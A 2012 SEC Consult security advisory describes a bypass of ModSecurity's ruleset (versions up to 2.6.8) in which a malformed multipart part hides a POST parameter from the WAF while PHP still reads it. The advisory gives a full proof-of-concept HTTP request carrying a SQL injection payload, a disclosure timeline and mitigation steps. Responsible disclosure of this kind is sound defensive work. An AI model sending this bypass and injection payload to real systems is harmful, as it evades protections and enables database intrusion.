SEC Consult Vulnerability Lab Security Advisory < 20121017-0 >

          title: ModSecurity multipart/invalid part ruleset bypass
        product: ModSecurity

vulnerable version: <= 2.6.8
fixed version: 2.7.0
CVE number: -
impact: Depends what you use it for
homepage: http://www.modsecurity.org/
found: 2012-10-12
by: Bernhard Mueller
SEC Consult Vulnerability Lab
https://www.sec-consult.com

Vendor/product description:

ModSecurity for Apache is a web server plug-in for the Apache web server
platform. This is the original, most mature and deployed ModSecurity module.
This module is maintained by the Trustwave SpiderLabs Research Team.

URL: http://www.modsecurity.org/projects/modsecurity/apache/

Vulnerability overview/description:

Validation of POST parameters can be bypassed on Apache/PHP installations by
sending specially formed multipart requests. A POST parameter's content can be
hidden from ModSecurity by prepending an invalid part. This first part
contains only a Content-Disposition header and has an additional carriage
return inserted at the end of the line ([\r\r\n]). This is followed by a
boundary in the next line and another Content-Disposition header with a
filename. The request content looks like this (newlines are all \r\n except in
line 2).

–A
Content-Disposition: form-data; name="id"[\r][\r][\n]
–A
Content-Disposition: form-data; name="lol"; filename="x"

1 UNION SELECT 1,2,3,4,5,6,7,8,9,10–

–A–

ModSecurity skips what it believes to be an invalid first part and proceeds to
parse the second part. This part is treated as a file and not checked against
the ruleset.

PHP however treats the whole thing as a single part and processes only the
first Content-Disposition header, ignoring the second one. In the opinion of
PHP this request contains a POST parameter with the name specified in the
first header.

Proof of concept:

wut.php:

<? echo $POST[xxx] ?>

POST request:

POST /wut.php HTTP/1.1
Content-Type: multipart/form-data; boundary=A
Content-Length: 161

–A
Content-Disposition: form-data; name="xxx"[\r][\r][\n]
–A
Content-Disposition: form-data; name="yyy"; filename="z"

1 UNION SELECT 1,2,3,4,5,6,7,8,9,10–

–A–

Output:

1 UNION SELECT 1,2,3,4,5,6,7,8,9,10–

(any change in the header should produce a 403)

Vulnerable / tested versions:

This works with ModSecurity up to version 2.6.8.

Vendor contact timeline:

2012-10-11: Contacted ModSecurity
2012-10-15: ModSecurity guys fixed it
2012-10-16: New ModSecurity release 2.7.0
2012-10-17: Public release of advisory

Solution:

To mitigate this bypass method, upgrade to ModSecurity 2.7.0 and make sure
that the MULTIPART_INVALID_PART flag is set in the multipart strict validation
rule. Add the line:

IQ %{MULTIPART_INVALID_PART}, \

to the SecRule MULTIPART_STRICT_ERROR in your ModSecurity configuration file.

Download is available at:

http://www.modsecurity.org/download/

Advisory URL:

https://www.sec-consult.com/en/advisories.html

The SEC Consult Group

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And this thing here:
http://wordpress.org/extend/plugins/mvis-security-center/


EOF B. Mueller / October 2012